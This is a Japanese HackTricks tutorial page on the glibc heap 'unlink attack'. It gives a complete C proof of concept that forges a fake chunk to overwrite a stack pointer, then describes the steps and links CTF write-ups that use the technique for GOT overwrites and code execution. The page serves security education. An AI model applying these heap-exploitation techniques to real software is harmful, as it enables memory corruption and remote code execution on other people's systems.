# Unlink Attack {% hint style="success" %} AWSハッキングの学習と練習:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCPハッキングの学習と練習: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) HackTricksのサポート * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック! * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 * ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 {% endhint %} ## 基本情報 この攻撃が発見された当初、主にWWW(Write What Where)を許可していましたが、いくつかの**チェックが追加**され、攻撃の新バージョンはより興味深く、より複雑で**無意味**になりました。 ### コード例: コード ```c #include #include #include #include // Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding }; int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20]; // First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2); // Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header // First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P // Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]); chunk1[3] = (unsigned long long)data; strcpy(data, "Victim's data"); // Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL; printf("%s\n", data); return 0; } ``` * 攻撃はtcachesが使用されている場合には機能しません(2.26以降) ### ゴール この攻撃により、**チャンクへのポインタをそれ自体の3つ前のアドレスを指すように変更**することが可能です。この新しい場所(ポインタが配置されていた周辺)に興味深い情報がある場合、他の制御可能な割り当てやスタックなどがある場合、それらを読み取ったり上書きしてより大きな被害を引き起こすことが可能です。 * もしポインタがスタックに配置されていた場合、今はそれ自体の3つ前を指しているため、ユーザーがそれを読み取り、変更できる可能性があるため、スタックから機密情報を漏洩させたり、リターンアドレスを変更することが可能になります(おそらく)キャナリを触ることなく * CTFの例では、このポインタが他の割り当てへのポインタの配列に配置されているため、それを3つ前を指すようにし、読み書きできるようにすると、他のポインタを他のアドレスを指すようにすることが可能です。\ ユーザーが他の割り当ても読み書きできる可能性があるため、情報を漏洩させたり、任意の場所(GOT内など)に新しいアドレスを上書きすることができます。 ### 必要条件 * メモリ内(例:スタック)でいくつかの制御を持って、いくつかの属性に値を与えるためのチャンクを作成します。 * ポインタの偽のチャンクを設定するためのスタックリーク。 ### 攻撃 * 2つのチャンク(chunk1とchunk2)があります * 攻撃者はchunk1の内容とchunk2のヘッダーを制御しています。 * chunk1では、攻撃者は偽のチャンクの構造を作成します: * 保護をバイパスするために、`size`フィールドが正しいことを確認して、`corrupted size vs. prev_size while consolidating`エラーを回避します * そして偽のチャンクの`fd`と`bk`フィールドが、chunk1のポインタが格納されている場所を指すようにします。それぞれ-3と-2のオフセットで、つまり`fake_chunk->fd->bk`と`fake_chunk->bk->fd`がメモリ(スタック)内の実際のchunk1アドレスが配置されている位置を指すようにします: https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit * chunk2のヘッダーは変更され、前のチャンクが使用されていないことと、偽のチャンクが含まれるサイズであることが示されます。 * 2番目のチャンクが解放されると、この偽のチャンクがリンク解除されます: * `fake_chunk->fd->bk` = `fake_chunk->bk` * `fake_chunk->bk->fd` = `fake_chunk->fd` * 以前は、`fake_chunk->fd->bk`と`fake_chunk->bk->fd`が同じ場所を指すようにされていました(`chunk1`が格納されていたスタックの場所、つまり有効なリンクリストでした)。**両方が同じ場所を指している**ため、最後の1つだけが(`fake_chunk->bk->fd = fake_chunk->fd`)**効果を持ちます**。 * これにより、スタック内のchunk1へのポインタがスタック内の3つ前に格納されているアドレス(またはバイト)に上書きされます。 * したがって、攻撃者が再びchunk1の内容を制御できる場合、スタック内に書き込むことができ、おそらくキャナリをスキップしてリターンアドレスを上書きし、ローカル変数の値とポインタを変更することが可能になります。再びスタックに格納されているchunk1のアドレスを異なる場所に変更することができるため、攻撃者が再びchunk1の内容を制御できる場合、どこにでも書き込むことができます。 * この攻撃が可能だったのは、**アドレスがスタックに格納されていた**ためです。リスクと悪用は、**偽のチャンクのアドレスがどこに格納されているか**に依存する可能性があります。 https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit ## 参考文献 * [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit) * CTFでunlink攻撃を見つけるのは奇妙かもしれませんが、この攻撃が使用されたライトアップがある場合があります: * CTFの例:[https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html) * この例では、スタックの代わりにmallocされたアドレスの配列があります。unlink攻撃は、この場所にチャンクを割り当てることができるように行われ、その後、これらのアドレスの配列のポインタを制御する機能があります。その後、アドレスをGOTにポイントし、関数アドレスを変更してリークとRCEを取得することが可能です。 * 別のCTFの例:[https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html) * 前の例と同様に、割り当てのアドレスの配列があります。unlink攻撃を実行して、最初の割り当てへのアドレスを配列の先頭の数ポジション前を指すようにします。その後、この新しい位置に割り当てを上書きすることが可能です。そのため、他の割り当てのポインタをGOTにポイントするように上書きし、libcリークを取得し、その後、atoiのGOTをワンガジェットのアドレスに上書きすることが可能です。 * unlink攻撃に非常に似た脆弱性を悪用するカスタムmallocおよびfree関数を使用したCTFの例:[https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html) * カスタムmallocのFDとBKポインタを制御できるオーバーフローがあり、それが(カスタム)解放されるであろうカスタムmallocのFDとBKポインタを制御できます。さらに、ヒープには実行ビットがあり、ヒープアドレスをリークさせ、GOTからヒープチャンクに関数をポイントし、シェルコードを実行することが可能です。
https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit